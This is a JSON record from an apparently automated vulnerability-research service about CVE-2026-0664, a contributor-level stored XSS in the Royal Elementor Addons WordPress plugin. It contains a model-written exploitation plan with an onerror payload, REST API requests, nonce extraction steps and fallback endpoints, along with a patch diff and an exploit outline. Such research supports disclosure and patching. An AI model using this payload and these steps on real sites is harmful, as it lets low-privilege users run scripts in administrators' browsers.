[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f1o1d867XJunlrlBkjcYHLtAumOxYrr6y-JRWTn-cNbw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":9,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":40},"CVE-2026-0664","royal-elementor-addons-authenticated-contributor-stored-cross-site-scripting-via-rest-api-meta-bypass","Royal Elementor Addons \u003C= 1.7.1049 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API Meta Bypass","The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_text' parameter in all versions up to, and including, 1.7.1049 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","royal-elementor-addons",null,"\u003C=1.7.1049","1.7.1050","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-03 19:31:46","2026-04-04 07:41:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2d4225a6-4aae-49a5-93e1-8dcc9a77e089?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fnotices\u002Frating-notice.php","admin\u002Fplugin-options.php","admin\u002Ftemplates\u002Flibrary\u002Fwpr-templates-data.php","assets\u002Fcss\u002Ffrontend.css","assets\u002Fcss\u002Ffrontend.min.css","assets\u002Fcss\u002Flib\u002Fanimations\u002Fbutton-animations.css","assets\u002Fcss\u002Flib\u002Fanimations\u002Fbutton-animations.min.css","assets\u002Fjs\u002Ffrontend.js","researched",false,3,"This plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Royal Elementor Addons via the `button_text` parameter, exploiting a REST API metadata bypass.\n\n### 1. Vulnerability Summary\nThe **Royal Elementor Addons** plugin (versions \u003C= 1.7.1049) fails to sanitize the `button_text` parameter used in several of its Elementor widgets. While WordPress typically prevents Contributors from using unfiltered HTML, the plugin's interaction with the Elementor page-saving process (via the REST API) allows a Contributor-level user to inject arbitrary JavaScript into widget settings. This script is then stored in the `_elementor_data` post meta and executed when any user, including an administrator, views the affected page.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** WordPress REST API for Post Updates (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F\u003CID>`) or Elementor's internal REST endpoint (`\u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fpost-content`).\n*   **Vulnerable Parameter:** `button_text` within the `settings` object of a Royal Addons widget (e.g., `wpr-button`, `wpr-advanced-slider`).\n*   **Authentication:** Authenticated with **Contributor** role or higher.\n*   **Precondition:** The Royal Elementor Addons plugin must be active, and a post must be created\u002Feditable by the Contributor.\n\n### 3. Code Flow\n1.  **Entry Point:** A Contributor sends a REST API request to update the content or metadata of a post they authored.\n2.  **Processing:** Elementor processes the JSON-encoded `_elementor_data` which contains widget settings. \n3.  **The Bypass:** The plugin does not implement sufficient server-side sanitization for the `button_text` key when the Elementor data is saved.\n4.  **Storage:** The malicious payload is saved to the database in the `wp_postmeta` table under the `_elementor_data` key for that post.\n5.  **Sink:** When the post is rendered on the frontend, the `render()` method of the Royal Addons widget (e.g., in `modules\u002Fbutton\u002Fwidgets\u002Fwpr-button.php`) outputs the `button_text` using a method that does not escape HTML (e.g., `echo $settings['button_text']` or equivalent Elementor `render_attribute`).\n\n### 4. Nonce Acquisition Strategy\nTo interact with the REST API, a valid `_wpnonce` is required in the `X-WP-Nonce` header.\n\n1.  **Identify Trigger:** The REST API nonce is typically localized in the `wp-admin` dashboard or the Elementor Editor.\n2.  **Setup Page:** Create a dummy post to gain access to the Elementor editor context.\n    *   Command: `wp post create --post_type=post --post_status=publish --post_author=\u003CCONTRIBUTOR_ID> --post_title=\"XSS Test\"`\n3.  **Acquisition:** Navigate to the WordPress dashboard as the Contributor.\n4.  **Extraction:** Use `browser_eval` to extract the nonce from the global `wpApiSettings` object.\n    *   `browser_eval(\"wpApiSettings.nonce\")`\n\n### 5. Exploitation Strategy\nWe will simulate the Elementor save process by sending a raw REST API request to update the `_elementor_data` meta of a post.\n\n**Step 1: Get Post ID**\nFind a post ID owned by the Contributor.\n\n**Step 2: Construct Payload**\nCreate a JSON structure representing an Elementor page containing a Royal Addons Button widget with the XSS payload.\n\n```json\n[\n  {\n    \"id\": \"exploit-id\",\n    \"elType\": \"section\",\n    \"settings\": [],\n    \"elements\": [\n      {\n        \"id\": \"column-id\",\n        \"elType\": \"column\",\n        \"settings\": [],\n        \"elements\": [\n          {\n            \"id\": \"widget-id\",\n            \"elType\": \"widget\",\n            \"widgetType\": \"wpr-button\",\n            \"settings\": {\n              \"button_text\": \"\u003Cimg src=x onerror=alert('CVE-2026-0664_XSS')>\",\n              \"button_link\": { \"url\": \"#\" }\n            }\n          }\n        ]\n      }\n    ]\n  }\n]\n```\n\n**Step 3: Send REST Request**\nUse the `http_request` tool to update the post.\n\n*   **Method:** `POST`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F\u003CPOST_ID>`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: \u003CEXTRACTED_NONCE>`\n*   **Body:**\n```json\n{\n  \"meta\": {\n    \"_elementor_data\": \"[JSON_PAYLOAD_STRING_HERE]\",\n    \"_elementor_edit_mode\": \"builder\"\n  }\n}\n```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `royal-elementor-addons` version 1.7.1049 is active.\n2.  **User:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n3.  **Post:** Create a post as the contributor.\n    *   `wp post create --post_author=$(wp user get attacker --field=ID) --post_title=\"Vulnerable Page\" --post_status=publish`\n4.  **Elementor Enable:** Ensure Elementor is configured to allow editing of Posts and that Royal Addons widgets are enabled.\n\n### 7. Expected Results\n*   The REST API should return a `200 OK` response confirming the update.\n*   The `_elementor_data` meta for the post will contain the raw `\u003Cimg ...>` tag.\n*   When an administrator navigates to the post's permalink, an alert box with `CVE-2026-0664_XSS` should appear.\n\n### 8. Verification Steps\n1.  **DB Check:** Verify the payload is stored in the database.\n    *   `wp post meta get \u003CPOST_ID> _elementor_data`\n2.  **Frontend Check:** Fetch the post HTML and look for the unescaped payload.\n    *   `http_request` GET to the post URL.\n    *   Search for the string: `\u003Cimg src=x onerror=alert('CVE-2026-0664_XSS')>` in the response body.\n\n### 9. Alternative Approaches\nIf the `wp\u002Fv2\u002Fposts` endpoint refuses to update the `_elementor_data` meta directly (due to standard REST restrictions), target the Elementor-specific save endpoint:\n\n*   **Endpoint:** `POST \u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fpost-content\u002F\u003CPOST_ID>`\n*   **Body Parameters:** `data` (the JSON array) and `status` (`publish`).\n*   **Headers:** Requires `X-WP-Nonce`.\n\nIf the `wpr-button` widget is not available, try the `wpr-advanced-slider` widget using the `button_text` parameter within one of the slider items.","The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'button_text' parameter in various widgets. Authenticated attackers with contributor-level permissions can bypass standard metadata restrictions and inject arbitrary scripts into the Elementor page data via the REST API, which executes when users view the affected page.","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1049\u002Fadmin\u002Fnotices\u002Frating-notice.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1050\u002Fadmin\u002Fnotices\u002Frating-notice.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1049\u002Fadmin\u002Fnotices\u002Frating-notice.php\t2026-02-12 11:19:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1050\u002Fadmin\u002Fnotices\u002Frating-notice.php\t2026-03-05 12:58:30.000000000 +0000\n@@ -34,9 +34,9 @@\n         $install_date = get_option('royal_elementor_addons_activation_time');\n \n         if ( false == get_option('wpr_maybe_later_time') && false !== $install_date && $this->past_date >= $install_date ) {\n-            add_action( 'admin_notices', [$this, 'render_rating_notice' ]);\n+            add_action( 'admin_notices', [$this, 'render_rating_notice']);\n         } else if ( false != get_option('wpr_maybe_later_time') && $this->past_date >= get_option('wpr_maybe_later_time') ) {\n-            add_action( 'admin_notices', [$this, 'render_rating_notice' ]);\n+            add_action( 'admin_notices', [$this, 'render_rating_notice']);\n         }\n     }\n \n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1049\u002Fadmin\u002Fplugin-options.php\t2026-02-12 11:19:02.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Froyal-elementor-addons\u002F1.7.1050\u002Fadmin\u002Fplugin-options.php\t2026-03-05 12:58:30.000000000 +0000\n@@ -80,6 +80,8 @@\n     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_site_key' );\n     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_secret_key' );\n     register_setting( 'wpr-settings', 'wpr_recaptcha_v3_score' );\n+    register_setting( 'wpr-settings', 'wpr_recaptcha_v2_site_key' );\n+    register_setting( 'wpr-settings', 'wpr_recaptcha_v2_secret_key' );\n \n     \u002F\u002F Lightbox\n     register_setting( 'wpr-settings', 'wpr_lb_bg_color' );\n@@ -128,6 +130,17 @@\n         register_setting( 'wpr-elements-settings', 'wpr-element-'. $slug, [ 'default' => 'on' ] );\n     }\n \n+    \u002F\u002F Pro widgets that appear in Elements tab (so their toggles are saved)\n+    if ( defined( 'WPR_ADDONS_PRO_VERSION' ) && wpr_fs()->can_use_premium_code() ) {\n+        $pro_element_slugs = [ 'breadcrumbs-pro' ];\n+        if ( wpr_fs()->is_plan( 'expert' ) ) {\n+            $pro_element_slugs = array_merge( $pro_element_slugs, [ 'category-grid-pro', 'advanced-filters-pro' ] );\n+        }\n+        foreach ( $pro_element_slugs as $slug ) {\n+            register_setting( 'wpr-elements-settings', 'wpr-element-' . $slug, [ 'default' => 'on' ] );\n+        }\n+    }\n+\n     \u002F\u002F Theme Builder\n     foreach ( Utilities::get_theme_builder_modules() as $title => $data ) {\n         $slug = $data[0];\n@@ -213,7 +226,7 @@\n \n     \u002F\u002F Render Backup Plugin Popup\n     WPR_Templates_Loop::render_backup_plugin_popup();\n-\n+\n     ?>\n \n     \u003C!-- Tabs -->\n@@ -819,6 +832,26 @@\n \n                 \u003Cinput type=\"number\" name=\"wpr_recaptcha_v3_score\" id=\"wpr_recaptcha_v3_score\" placeholder=\"0.5\" step=\"0.1\" min=\"0\" max=\"1\" value=\"\u003C?php echo esc_attr(get_option('wpr_recaptcha_v3_score')); ?>\">\n             \u003C\u002Fdiv>\n+\n+            \u003Cdiv class=\"wpr-setting\">\n+                \u003Ch4>\n+                    \u003Cspan>\u003C?php esc_html_e( 'reCAPTCHA v2 (Checkbox) Site Key', 'wpr-addons' ); ?>\u003C\u002Fspan>\n+                    \u003Cbr>\n+                    \u003Ca href=\"https:\u002F\u002Fwww.google.com\u002Frecaptcha\u002Fadmin\" target=\"_blank\">\u003C?php esc_html_e( 'How to get reCAPTCHA keys?', 'wpr-addons' ); ?>\u003C\u002Fa>\n+                    \u003Cp class=\"wpr-settings-group-description\">\u003C?php esc_html_e( 'Use reCAPTCHA v2 checkbox in Form Builder. Create a \"reCAPTCHA v2\" type key in Google reCAPTCHA admin.', 'wpr-addons' ); ?>\u003C\u002Fp>\n+                \u003C\u002Fh4>\n+\n+                \u003Cinput type=\"text\" name=\"wpr_recaptcha_v2_site_key\" id=\"wpr_recaptcha_v2_site_key\" value=\"\u003C?php echo esc_attr(get_option('wpr_recaptcha_v2_site_key')); ?>\">\n+            \u003C\u002Fdiv>\n+\n+            \u003Cdiv class=\"wpr-setting\">\n+                \u003Ch4>\n+                    \u003Cspan>\u003C?php esc_html_e( 'reCAPTCHA v2 Secret Key', 'wpr-addons' ); ?>\u003C\u002Fspan>\n+                    \u003Cbr>\n+                \u003C\u002Fh4>\n+\n+                \u003Cinput type=\"text\" name=\"wpr_recaptcha_v2_secret_key\" id=\"wpr_recaptcha_v2_secret_key\" value=\"\u003C?php echo esc_attr(get_option('wpr_recaptcha_v2_secret_key')); ?>\">\n+            \u003C\u002Fdiv>\n             \n         \u003C\u002Fdiv>","To exploit this vulnerability, an attacker with Contributor-level access or higher must:\n1. Create or edit a post and access the WordPress REST API context to retrieve a valid security nonce (e.g., from the `wpApiSettings.nonce` global variable in the dashboard).\n2. Construct a JSON payload for the `_elementor_data` post meta. This payload must include an Elementor widget from Royal Addons (such as 'wpr-button') with a malicious script in the 'button_text' setting (e.g., `\u003Cimg src=x onerror=alert('XSS')>`).\n3. Send a POST request to the WordPress REST API endpoint for posts (`\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F\u003CPOST_ID>`) or the Elementor-specific content endpoint (`\u002Fwp-json\u002Felementor\u002Fv1\u002Feditor\u002Fpost-content\u002F\u003CPOST_ID>`).\n4. Include the malicious JSON payload in the request body under the `_elementor_data` meta key.\n5. The stored script will execute in the browser of any user, including administrators, who views the rendered frontend of the compromised post.","gemini-3-flash-preview","2026-04-17 21:40:46","2026-04-17 21:41:13",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","1.7.1049","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-elementor-addons\u002Ftags\u002F1.7.1049","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Froyal-elementor-addons.1.7.1049.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-elementor-addons\u002Ftags\u002F1.7.1050","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Froyal-elementor-addons.1.7.1050.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Froyal-elementor-addons\u002Ftags"]